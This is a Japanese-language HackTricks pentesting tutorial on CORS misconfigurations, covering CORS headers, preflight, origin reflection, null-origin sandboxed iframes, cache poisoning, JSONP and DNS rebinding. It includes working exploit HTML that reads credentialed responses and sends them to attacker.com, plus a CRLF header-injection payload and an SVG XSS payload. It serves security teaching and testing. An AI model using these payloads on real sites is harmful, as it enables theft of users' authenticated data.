hacktricks/pentesting-web/cors-bypass.md

# CORS - Misconfigurations & Bypass

<details>

<summary><strong>AWSハッキングをゼロからヒーローまで学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE（HackTricks AWS Red Team Expert）</strong></a><strong>！</strong></summary>

HackTricksをサポートする他の方法：

- **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい場合**は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください！
- [**公式PEASS＆HackTricksのグッズ**](https://peass.creator-spring.com)を入手する
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
- **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**または[telegramグループ](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)で**フォロー**する。
- **HackTricks**および**HackTricks Cloud**のgithubリポジトリにPRを提出して、あなたのハッキングテクニックを共有する

</details>

<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>

{% embed url="https://websec.nl/" %}

## CORSとは？

Cross-Origin Resource Sharing（CORS）標準は、**サーバーがアクセスを許可するユーザー**と**外部ソースから許可されるHTTPリクエストメソッド**を定義できるようにします。

**同一オリジン**ポリシーは、リソースを要求するサーバーとリソースをホストするサーバーが同じプロトコル（例：`http://`）、ドメイン名（例：`internal-web.com`）、および**ポート**（例：80）を共有することを義務付けます。このポリシーの下では、同じドメインとポートのウェブページのみがリソースにアクセスできます。

`http://normal-website.com/example/example.html`のコンテキストで同一オリジンポリシーを適用すると、次のようになります：

| アクセスされたURL                         | アクセスが許可される？                   |
| ----------------------------------------- | --------------------------------------- |
| `http://normal-website.com/example/`      | はい：同一のスキーム、ドメイン、およびポート |
| `http://normal-website.com/example2/`     | はい：同一のスキーム、ドメイン、およびポート |
| `https://normal-website.com/example/`     | いいえ：異なるスキームとポート           |
| `http://en.normal-website.com/example/`   | いいえ：異なるドメイン                    |
| `http://www.normal-website.com/example/`  | いいえ：異なるドメイン                    |
| `http://normal-website.com:8080/example/` | いいえ：異なるポート\*                    |

\*Internet Explorerは同一オリジンポリシーのポート番号を無視し、このアクセスを許可します。

### `Access-Control-Allow-Origin`ヘッダー

このヘッダーは**複数のオリジン**、**`null`**値、またはワイルドカード**`*`**を許可できます。ただし、**どのブラウザも複数のオリジンをサポートしておらず**、ワイルドカード`*`の使用は**制限**の対象です（ワイルドカードは単独で使用する必要があり、`Access-Control-Allow-Credentials: true`と併用することは許可されていません）。

このヘッダーは、ウェブサイトによって開始されたクロスドメインリソースリクエストに対する**サーバーによって発行**され、ブラウザは自動的に`Origin`ヘッダーを追加します。

### `Access-Control-Allow-Credentials`ヘッダー

**デフォルト**では、クロスオリジンリクエストは、クッキーやAuthorizationヘッダーなどの資格情報なしで行われます。ただし、クロスドメインサーバーは、`Access-Control-Allow-Credentials`ヘッダーを**`true`**に設定して資格情報が送信された場合に、応答の読み取りを許可できます。

`true`に設定されている場合、ブラウザは資格情報（クッキー、認証ヘッダー、またはTLSクライアント証明書）を送信します。
```javascript
var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function() {
if(xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) {
console.log(xhr.responseText);
}
}
xhr.open('GET', 'http://example.com/', true);
xhr.withCredentials = true;
xhr.send(null);
```

```javascript
fetch(url, {
credentials: 'include'
})
```

```javascript
const xhr = new XMLHttpRequest();
xhr.open('POST', 'https://bar.other/resources/post-here/');
xhr.setRequestHeader('X-PINGOTHER', 'pingpong');
xhr.setRequestHeader('Content-Type', 'application/xml');
xhr.onreadystatechange = handler;
xhr.send('<person><name>Arun</name></person>');
```
### CSRF プリフライトリクエスト

### クロスドメイン通信におけるプリフライトリクエストの理解

特定の条件下でクロスドメインリクエストを開始する際、**標準外のHTTPメソッド**（HEAD、GET、POST以外のもの）、新しい**ヘッダー**の導入、または特別な**Content-Typeヘッダー値**の使用などがある場合、プリフライトリクエストが必要になることがあります。この予備リクエストは、**`OPTIONS`**メソッドを利用して、サーバーにクロスオリジンリクエストの意図、使用するHTTPメソッドやヘッダーなどを通知する役割を果たします。

**クロスオリジンリソース共有（CORS）**プロトコルは、このプリフライトチェックを義務付けており、許可されたメソッド、ヘッダー、およびオリジンの信頼性を検証することで、要求されたクロスオリジン操作の実行可能性を判断します。プリフライトリクエストが不要となる条件についての詳細は、[**Mozilla Developer Network (MDN)**](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS#simple\_requests) が提供する包括的なガイドを参照してください。

重要な点として、**プリフライトリクエストの不在は、レスポンスが認証ヘッダーを含む必要性を無効にするものではありません**。これらのヘッダーがないと、ブラウザはクロスオリジンリクエストからのレスポンスを処理する能力を失います。

以下は、`PUT`メソッドと`Special-Request-Header`というカスタムヘッダーを使用するプリフライトリクエストの例を考えてみましょう：
```
OPTIONS /info HTTP/1.1
Host: example2.com
...
Origin: https://example.com
Access-Control-Request-Method: POST
Access-Control-Request-Headers: Authorization
```
以下のように、サーバーは受け入れられるメソッド、許可されるオリジン、およびその他のCORSポリシーの詳細を示すヘッダーを返す可能性があります:
```markdown
HTTP/1.1 204 No Content
...
Access-Control-Allow-Origin: https://example.com
Access-Control-Allow-Methods: PUT, POST, OPTIONS
Access-Control-Allow-Headers: Authorization
Access-Control-Allow-Credentials: true
Access-Control-Max-Age: 240
```
* **`Access-Control-Allow-Headers`**: このヘッダーは、実際のリクエスト中に使用できるヘッダーを指定します。サーバーによって設定され、クライアントからのリクエストで許可されたヘッダーを示します。
* **`Access-Control-Expose-Headers`**: このヘッダーを通じて、サーバーは単純なレスポンスヘッダーに加えてレスポンスの一部として公開できるヘッダーについてクライアントに通知します。
* **`Access-Control-Max-Age`**: このヘッダーは、プリフライトリクエストの結果をキャッシュできる期間を示します。サーバーは、プリフライトリクエストによって返される情報が再利用されることができる最大時間（秒単位）を設定します。
* **`Access-Control-Request-Headers`**: プリフライトリクエストで使用されるこのヘッダーは、クライアントが実際のリクエストで使用したいHTTPヘッダーについてサーバーに通知するために設定されます。
* **`Access-Control-Request-Method`**: このヘッダーもプリフライトリクエストで使用され、クライアントが実際のリクエストで使用するHTTPメソッドを示すために設定されます。
* **`Origin`**: このヘッダーはブラウザによって自動的に設定され、クロスオリジンリクエストの起源を示します。サーバーは、CORSポリシーに基づいて受信リクエストを許可するか拒否するかを評価するために使用されます。

**通常（コンテンツタイプと設定されたヘッダーに応じて）、GET/POSTリクエストではプリフライトリクエストが送信されません**（リクエストは**直接**送信されます）。ただし、**レスポンスのヘッダー/本文にアクセスしたい場合**は、それを許可する _Access-Control-Allow-Origin_ ヘッダーを含める必要があります。\
**したがって、CORSはCSRFに対して保護されていません（ただし、役立つ場合があります）。**

### **ローカルネットワークリクエストのプリフライトリクエスト**

1. **`Access-Control-Request-Local-Network`**: このヘッダーは、クライアントのリクエストに含まれ、問い合わせがローカルネットワークリソースを対象としていることを示します。サーバーにリクエストがローカルネットワーク内から発信されたことを通知する目印として機能します。
2. **`Access-Control-Allow-Local-Network`**: サーバーはこのヘッダーを利用して、要求されたリソースがローカルネットワーク外のエンティティと共有できることを伝えます。異なるネットワーク境界を越えてリソースを共有するための許可を示し、セキュリティプロトコルを維持しながら制御されたアクセスを確保します。

**ローカルネットワークリクエストを許可する有効な応答**は、応答にも `Access-Controls-Allow-Local_network: true` ヘッダーを含む必要があります：
```
HTTP/1.1 200 OK
...
Access-Control-Allow-Origin: https://example.com
Access-Control-Allow-Methods: GET
Access-Control-Allow-Credentials: true
Access-Control-Allow-Local-Network: true
Content-Length: 0
...
```
{% hint style="warning" %}
**注意**：Linuxの **0.0.0.0** IP は、そのIPアドレスが「ローカル」と見なされないため、ローカルホストにアクセスするためにこれらの要件を **バイパス** するために機能します。

また、ローカルネットワークの要件を **バイパスする** のも可能です。これは、ローカルエンドポイントの **パブリックIPアドレス**（たとえば、ルーターのパブリックIP）を使用する場合に当てはまります。なぜなら、いくつかの場合、**パブリックIP** にアクセスされている場合でも、それが **ローカルネットワーク** からアクセスされている場合にはアクセスが許可されるからです。
{% endhint %}

## 悪用可能なミス構成

`Access-Control-Allow-Credentials` を **`true`** に設定することが、ほとんどの **実際の攻撃** に対する前提条件であることが観察されています。この設定により、ブラウザが資格情報を送信し、応答を読み取ることが可能となり、攻撃の効果が向上します。これがないと、ブラウザにリクエストを発行させる利点が自分で行うよりも低下し、ユーザーのクッキーを利用することが不可能になります。

### 例外：認証としてのネットワークロケーションの悪用

被害者のネットワークロケーションが認証の形式として機能する例外が存在します。これにより、被害者のブラウザをプロキシとして使用して、IPベースの認証を回避してイントラネットアプリケーションにアクセスすることが可能となります。この方法はDNSリバインディングと同様の影響を持ちますが、より簡単に悪用することができます。

### `Access-Control-Allow-Origin` での `Origin` の反映

`Origin` ヘッダーの値が `Access-Control-Allow-Origin` に反映される実世界のシナリオは、これらのヘッダーを組み合わせる制限があるため理論的にはありえません。ただし、複数のURLに対してCORSを有効にしたい開発者は、`Access-Control-Allow-Origin` ヘッダーを `Origin` ヘッダーの値をコピーして動的に生成することがあります。このアプローチは、特に攻撃者が正規のように見せるために設計されたドメインを使用する場合、検証ロジックを欺く可能性があるため、脆弱性を導入する可能性があります。
```html
<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://example.com/details',true);
req.withCredentials = true;
req.send();
function reqListener() {
location='/log?key='+this.responseText;
};
</script>
```
### `null`オリジンの悪用

`null`オリジンは、リダイレクトやローカルHTMLファイルなどの状況を指定するために指定されており、固有の位置を占めています。一部のアプリケーションは、ローカル開発を容易にするためにこのオリジンをホワイトリストに登録していますが、それにより、サンドボックス化されたiframeを介して任意のウェブサイトが`null`オリジンを模倣することが可能となり、これによりCORS制限がバイパスされます。
```html
<iframe sandbox="allow-scripts allow-top-navigation allow-forms" src="data:text/html,<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://example/details',true);
req.withCredentials = true;
req.send();
function reqListener() {
location='https://attacker.com//log?key='+encodeURIComponent(this.responseText);
};
</script>"></iframe>
```

```html
<iframe sandbox="allow-scripts allow-top-navigation allow-forms" srcdoc="<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://example/details',true);
req.withCredentials = true;
req.send();
function reqListener() {
location='https://attacker.com//log?key='+encodeURIComponent(this.responseText);
};
</script>"></iframe>
```
### 正規表現バイパステクニック

ドメインのホワイトリストに遭遇した場合、攻撃者のドメインをホワイトリストに追加したり、サブドメインの乗っ取り脆弱性を悪用したりするなど、バイパスの機会をテストすることが重要です。さらに、ドメインの検証に使用される正規表現は、ドメインの命名規則の微妙な点を見落とす可能性があり、さらなるバイパスの機会を提供します。

### 高度な正規表現バイパス

通常、正規表現パターンは、英数字、ドット（.）、ハイフン（-）の文字に焦点を当てており、他の可能性を無視しています。たとえば、ブラウザや正規表現パターンによって異なる解釈される文字を含むドメイン名は、セキュリティチェックをバイパスすることができます。Safari、Chrome、Firefoxがサブドメイン内のアンダースコア文字を処理する方法は、このような相違点がドメイン検証ロジックを回避するために悪用される方法を示しています。

**このバイパスチェックの詳細情報と設定については:** [**https://www.corben.io/advanced-cors-techniques/**](https://www.corben.io/advanced-cors-techniques/) **および** [**https://medium.com/bugbountywriteup/think-outside-the-scope-advanced-cors-exploitation-techniques-dad019c68397**](https://medium.com/bugbountywriteup/think-outside-the-scope-advanced-cors-exploitation-techniques-dad019c68397)

![https://miro.medium.com/v2/resize:fit:720/format:webp/1\*rolEK39-DDxeBgSq6KLKAA.png](<../.gitbook/assets/image (281).png>)

### サブドメイン内のXSSから

開発者は、情報をリクエストすることが許可されているドメインをホワイトリストに登録することで、CORSの悪用に対抗する防御メカニズムをしばしば実装します。しかし、これらの予防措置にもかかわらず、システムのセキュリティは万全ではありません。ホワイトリストに含まれるドメイン内に脆弱なサブドメインが1つでも存在すると、XSS（クロスサイトスクリプティング）などの他の脆弱性を介してCORSの悪用への道が開かれる可能性があります。

例として、`requester.com`というドメインが、別のドメインである`provider.com`からリソースにアクセスすることが許可されるようにホワイトリストに登録されているとします。サーバーサイドの構成は次のようになるかもしれません：
```javascript
if ($_SERVER['HTTP_HOST'] == '*.requester.com') {
// Access data
} else {
// Unauthorized access
}
```
### **サーバーサイドキャッシュポイズニング**

[**この研究から**](https://portswigger.net/research/exploiting-cors-misconfigurations-for-bitcoins-and-bounties)

サーバーサイドキャッシュポイズニングを悪用することで、HTTPヘッダーインジェクションを介して格納されたクロスサイトスクリプティング（XSS）脆弱性を誘発する可能性があります。このシナリオは、アプリケーションが`Origin`ヘッダーを違法な文字でサニタイズしない場合に発生し、特にInternet ExplorerとEdgeユーザーにとって脆弱性を作成します。これらのブラウザは、（0x0d）を合法的なHTTPヘッダーターミネーターとして扱い、HTTPヘッダーインジェクションの脆弱性を引き起こします。

次のリクエストを考慮してください。`Origin`ヘッダーが操作されています：
```
GET / HTTP/1.1
Origin: z[0x0d]Content-Type: text/html; charset=UTF-7
```
Internet ExplorerとEdgeは、レスポンスを次のように解釈します：
```
HTTP/1.1 200 OK
Access-Control-Allow-Origin: z
Content-Type: text/html; charset=UTF-7
```
直接的にこの脆弱性を悪用するためにウェブブラウザが不正なヘッダーを送信することは実現不可能ですが、Burp Suiteなどのツールを使用して手動で生成された作成されたリクエストを使用することで、サーバーサイドキャッシュが応答を保存し、他のユーザーに提供される可能性があります。 作成されたペイロードは、ページの文字セットをUTF-7に変更することを目的としており、これは特定のコンテキストでスクリプトとして実行できる方法で文字をエンコードする能力を持つため、XSSの脆弱性にしばしば関連付けられています。

格納されたXSSの脆弱性に関する詳細は、[PortSwigger](https://portswigger.net/web-security/cross-site-scripting/stored)を参照してください。

**注意**: 特にサーバーサイドキャッシュポイズニングを通じたHTTPヘッダーインジェクションの脆弱性の悪用は、HTTPヘッダーを含むすべてのユーザー提供入力の検証とサニタイズの重要性を強調しています。 このような脆弱性を防ぐために入力検証を含む堅牢なセキュリティモデルを常に採用してください。

### **クライアントサイドキャッシュポイズニング**

[**この研究から**](https://portswigger.net/research/exploiting-cors-misconfigurations-for-bitcoins-and-bounties)

このシナリオでは、適切なエンコーディングなしにカスタムHTTPヘッダーの内容を反映するウェブページのインスタンスが観察されます。 具体的には、ウェブページは`X-User-id`ヘッダーに含まれる内容を反映し、この内容にはロード時にJavaScriptコードを実行するように設計されたSVGイメージタグが含まれる例によって示されるように、悪意のあるJavaScriptを含む可能性があります。

Cross-Origin Resource Sharing（CORS）ポリシーにより、カスタムヘッダーの送信が可能になります。 ただし、CORSの制限によりブラウザによって応答が直接レンダリングされない場合、そのようなインジェクションの有用性は限定されているように見えるかもしれません。 重要な点は、ブラウザのキャッシュ動作を考慮する際に発生します。 `Vary: Origin`ヘッダーが指定されていない場合、悪意のある応答がブラウザによってキャッシュされる可能性があります。 その後、このキャッシュされた応答は、初回リクエスト時の直接レンダリングの必要性をバイパスして、URLに移動する際に直接レンダリングされる可能性があります。 このメカニズムは、クライアントサイドキャッシングを活用することで攻撃の信頼性を高めます。

この攻撃を説明するために、JavaScriptの例が提供されており、JSFiddleなどの環境で実行されるように設計されています。 このスクリプトは単純なアクションを実行します：悪意のあるJavaScriptを含むカスタムヘッダーを含むリクエストを指定されたURLに送信します。 リクエストの完了後、ターゲットURLに移動し、`Vary: Origin`ヘッダーの適切な処理が行われずに応答がキャッシュされている場合、注入されたスクリプトの実行をトリガーする可能性があります。

この攻撃を実行するために使用されるJavaScriptの要約を以下に示します：
```html
<script>
function gotcha() { location=url }
var req = new XMLHttpRequest();
url = 'https://example.com/'; // Note: Be cautious of mixed content blocking for HTTP sites
req.onload = gotcha;
req.open('get', url, true);
req.setRequestHeader("X-Custom-Header", "<svg/onload=alert(1)>");
req.send();
</script>
```
## バイパス

### XSSI (Cross-Site Script Inclusion) / JSONP

XSSI、またはCross-Site Script Inclusionとしても知られる脆弱性は、スクリプトタグを使用してリソースを含む際に同一オリジンポリシー（SOP）が適用されないという事実を利用するタイプの脆弱性です。これは、スクリプトが異なるドメインから含まれる必要があるためです。この脆弱性により、攻撃者はスクリプトタグを使用して含まれた任意のコンテンツにアクセスして読むことができます。

この脆弱性は、特にダイナミックJavaScriptやJSONP（Padding付きJSON）に関連する場合に特に重要です。特に、クッキーなどの環境権限情報が認証に使用される場合です。異なるホストからリソースを要求する際、クッキーが含まれ、それにより攻撃者がアクセスできるようになります。

この脆弱性をよりよく理解し、緩和するためには、[https://github.com/kapytein/jsonp](https://github.com/kapytein/jsonp)で利用可能なBurpSuiteプラグインを使用できます。このプラグインは、WebアプリケーションでのXSSI脆弱性を特定および対処するのに役立ちます。

[**異なるXSSIのタイプとそれらをどのように悪用するかについて詳しく読むにはこちらをクリックしてください。**](xssi-cross-site-script-inclusion.md)

リクエストに **`callback`** **パラメータ** を追加してみてください。おそらくページはデータをJSONPとして送信するように準備されているかもしれません。その場合、ページは`Content-Type: application/javascript`でデータを返し、これによりCORSポリシーがバイパスされます。

![](<../.gitbook/assets/image (853).png>)

### 簡単（無意味？）なバイパス

`Access-Control-Allow-Origin` 制限をバイパスする1つの方法は、Webアプリケーションにリクエストしてもらい、その応答を返すことです。ただし、このシナリオでは、最終的な被害者の資格情報は異なるドメインにリクエストが行われるため送信されません。

1. [**CORS-escape**](https://github.com/shalvah/cors-escape): このツールは、リクエストとそのヘッダーを転送するプロキシを提供し、同時に要求されたドメインに一致するようにOriginヘッダーをスプーフィングします。これにより、CORSポリシーが効果的にバイパスされます。以下はXMLHttpRequestを使用した例です：
2. [**simple-cors-escape**](https://github.com/shalvah/simple-cors-escape): このツールは、リクエストをそのまま渡す代わりに、サーバーが指定されたパラメータで独自のリクエストを行う代替手法を提供します。

### Iframe + Popup バイパス

**`e.origin === window.origin`** のようなCORSチェックを **バイパス** するために、**iframeを作成**し、**そこから新しいウィンドウを開く**ことができます。詳細は以下のページで確認できます：

{% content-ref url="xss-cross-site-scripting/iframes-in-xss-and-csp.md" %}
[iframes-in-xss-and-csp.md](xss-cross-site-scripting/iframes-in-xss-and-csp.md)
{% endcontent-ref %}

### TTL経由のDNSリバインディング

TTL経由のDNSリバインディングは、DNSレコードを操作して特定のセキュリティ対策をバイパスするために使用される技術です。動作方法は次のとおりです：

1. 攻撃者はWebページを作成し、被害者にアクセスさせます。
2. 攻撃者は自分のドメインのDNS（IP）を被害者のWebページを指すように変更します。
3. 被害者のブラウザはDNS応答をキャッシュし、そのDNSレコードが有効であるべき期間を示すTTL（Time to Live）値を持つ場合があります。
4. TTLが切れると、被害者のブラウザは新しいDNSリクエストを行い、攻撃者が被害者のページでJavaScriptコードを実行できるようになります。
5. 被害者のIPを制御することで、攻撃者は被害者からクッキーを送信せずに情報を収集できます。

この技術は、ブラウザによるこの技術の即時悪用を防ぐ可能性があることに注意することが重要です。

DNSリバインディングは、被害者によって実行される明示的なIPチェックをバイパスするためや、ユーザーまたはボットが同じページに長時間滞在するシナリオなど、キャッシュが期限切れになるのを待つ場合に有用です。

DNSリバインディングを素早く悪用する必要がある場合は、[https://lock.cmpxchg8b.com/rebinder.html](https://lock.cmpxchg8b.com/rebinder.html)のようなサービスを使用できます。

独自のDNSリバインディングサーバーを実行するには、**DNSrebinder** ([https://github.com/mogwailabs/DNSrebinder](https://github.com/mogwailabs/DNSrebinder))のようなツールを利用できます。これには、ローカルポート53/udpを公開し、それを指すAレコード（例：ns.example.com）を作成し、以前に作成したAサブドメインを指すNSレコードを作成する必要があります。ns.example.comサブドメインの任意のサブドメインは、ホストによって解決されます。

さらに理解と実験のために、[http://rebind.it/singularity.html](http://rebind.it/singularity.html)で公開されているサーバーを探索することもできます。

### DNSリバインディング経由の **DNSキャッシュフラッディング**

DNSリバインディング経由のDNSキャッシュフラッディングは、ブラウザのキャッシュメカニズムをバイパスし、2回目のDNSリクエストを強制するために使用される別の技術です。動作方法は次のとおりです：

1. 最初に、被害者がDNSリクエストを行うと、攻撃者のIPアドレスで応答されます。
2. キャッシュ防御をバイパスするために、攻撃者はサービスワーカーを利用します。サービスワーカーはDNSキャッシュをフラッドし、キャッシュされた攻撃者のサーバー名を効果的に削除します。
3. 被害者のブラウザが2回目のDNSリクエストを行うと、IPアドレス127.0.0.1で応答されるようになります。通常、これはlocalhostを指します。

サービスワーカーを使用してDNSキャッシュをフラッドすることで、攻撃者はDNS解決プロセスを操作し、被害者のブラウザに2回目のリクエストを行わせ、今度は攻撃者が望むIPアドレスに解決させることができます。

### DNSリバインディング経由の **キャッシュ**

キャッシュ防御をバイパスする別の方法は、DNSプロバイダーで同じサブドメインに複数のIPアドレスを利用することです。動作方法は次のとおりです：

1. 攻撃者はDNSプロバイダーで同じサブドメインの2つのAレコード（または2つのIPを持つ単一のAレコード）を設定します。
2. ブラウザがこれらのレコードをチェックすると、両方のIPアドレスが受信されます。
3. ブラウザが最初に攻撃者のIPアドレスを使用することを決定した場合、攻撃者は同じドメインへのHTTPリクエストを実行するペイロードを提供できます。
4. ただし、攻撃者が被害者のIPアドレスを取得したら、被害者のブラウザに応答を停止します。
5. ブラウザは、ドメインが応答しないことを認識すると、2番目に指定されたIPアドレスを使用し始めます。
6. 2番目のIPアドレスにアクセスすることで、ブラウザは同一オリジンポリシー（SOP）をバイパスし、攻撃者はこれを悪用して被害者から情報を収集および外部送信できます。

この技術は、1つのドメインに複数のIPアドレスが提供された場合のブラウザの動作を活用します。応答を戦略的に制御し、ブラウザがIPアドレスの選択を操作することで、攻撃者はSOPを悪用し、被害者から情報にアクセスできます。

{% hint style="warning" %}
localhostにアクセスするためには、Windowsでは **127.0.0.1**、Linuxでは **0.0.0.0** を再バインドする必要があります。\
GodaddyやCloudflareなどのプロバイダーは、IP **0.0.0.0** を使用することを許可してくれませんでしたが、AWS Route53は2つのIPのうちの1つを "0.0.0.0" として作成することを許可してくれました。

<img src="../.gitbook/assets/image (137).png" alt="" data-size="original">
{% endhint %}

詳細については、[https://unit42.paloaltonetworks.com/dns-rebinding/](https://unit42.paloaltonetworks.com/dns-rebinding/)を参照してください。
### その他の一般的なバイパス

* もし**内部IPが許可されていない**場合、**0.0.0.0を禁止するのを忘れている**可能性があります（LinuxとMacで機能します）
* もし**内部IPが許可されていない**場合、**localhost**への**CNAME**で応答する（LinuxとMacで機能します）
* **内部IPがDNS応答として許可されていない**場合、www.corporate.internalなどの**内部サービスへのCNAME**で応答できます。

### DNS Rebindingの武器化

前述のバイパス技術に関する詳細情報や以下のツールの使用方法については、[Gerald Doussot - State of DNS Rebinding Attacks & Singularity of Origin - DEF CON 27 Conference](https://www.youtube.com/watch?v=y9-0lICNjOQ)での講演を参照してください。

[**`Singularity of Origin`**](https://github.com/nccgroup/singularity)は、[DNS rebinding](https://en.wikipedia.org/wiki/DNS\_rebinding)攻撃を実行するためのツールです。攻撃サーバーのDNS名のIPアドレスをターゲットマシンのIPアドレスに再バインドし、ターゲットマシン上の脆弱なソフトウェアを悪用するための攻撃ペイロードを提供するために必要なコンポーネントが含まれています。

### DNS Rebindingに対する実際の保護

* 内部サービスでTLSを使用する
* データにアクセスするための認証を要求する
* Hostヘッダーを検証する
* [https://wicg.github.io/private-network-access/](https://wicg.github.io/private-network-access/): パブリックサーバーが内部サーバーにアクセスする際に常にプリフライトリクエストを送信するための提案

## **ツール**

**CORSポリシーの構成ミスをファジングする**

* [https://portswigger.net/bappstore/420a28400bad4c9d85052f8d66d3bbd8](https://portswigger.net/bappstore/420a28400bad4c9d85052f8d66d3bbd8)
* [https://github.com/chenjj/CORScanner](https://github.com/chenjj/CORScanner)
* [https://github.com/lc/theftfuzzer](https://github.com/lc/theftfuzzer)
* [https://github.com/s0md3v/Corsy](https://github.com/s0md3v/Corsy)
* [https://github.com/Shivangx01b/CorsMe](https://github.com/Shivangx01b/CorsMe)
* [https://github.com/omranisecurity/CorsOne](https://github.com/omranisecurity/CorsOne)

## 参考文献

* [https://portswigger.net/web-security/cors](https://portswigger.net/web-security/cors)
* [https://portswigger.net/web-security/cors/access-control-allow-origin](https://portswigger.net/web-security/cors/access-control-allow-origin)
* [https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers#CORS](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers#CORS)
* [https://portswigger.net/research/exploiting-cors-misconfigurations-for-bitcoins-and-bounties](https://portswigger.net/research/exploiting-cors-misconfigurations-for-bitcoins-and-bounties)
* [https://www.codecademy.com/articles/what-is-cors](https://www.codecademy.com/articles/what-is-cors)
* [https://www.we45.com/blog/3-ways-to-exploit-misconfigured-cross-origin-resource-sharing-cors](https://www.we45.com/blog/3-ways-to-exploit-misconfigured-cross-origin-resource-sharing-cors)
* [https://medium.com/netscape/hacking-it-out-when-cors-wont-let-you-be-great-35f6206cc646](https://medium.com/netscape/hacking-it-out-when-cors-wont-let-you-be-great-35f6206cc646)
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/CORS%20Misconfiguration](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/CORS%20Misconfiguration)
* [https://medium.com/entersoftsecurity/every-bug-bounty-hunter-should-know-the-evil-smile-of-the-jsonp-over-the-browsers-same-origin-438af3a0ac3b](https://medium.com/entersoftsecurity/every-bug-bounty-hunter-should-know-the-evil-smile-of-the-jsonp-over-the-browsers-same-origin-438af3a0ac3b)


<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>

{% embed url="https://websec.nl/" %}

<details>

<summary><strong>ゼロからヒーローまでのAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE（HackTricks AWS Red Team Expert）</strong></a><strong>!</strong></summary>

HackTricksをサポートする他の方法：

* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください！
* [**公式PEASS＆HackTricksのグッズ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)のコレクションを見つける
* **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **HackTricks**と**HackTricks Cloud**のGitHubリポジトリにPRを提出して、**あなたのハッキングトリックを共有**してください。

</details>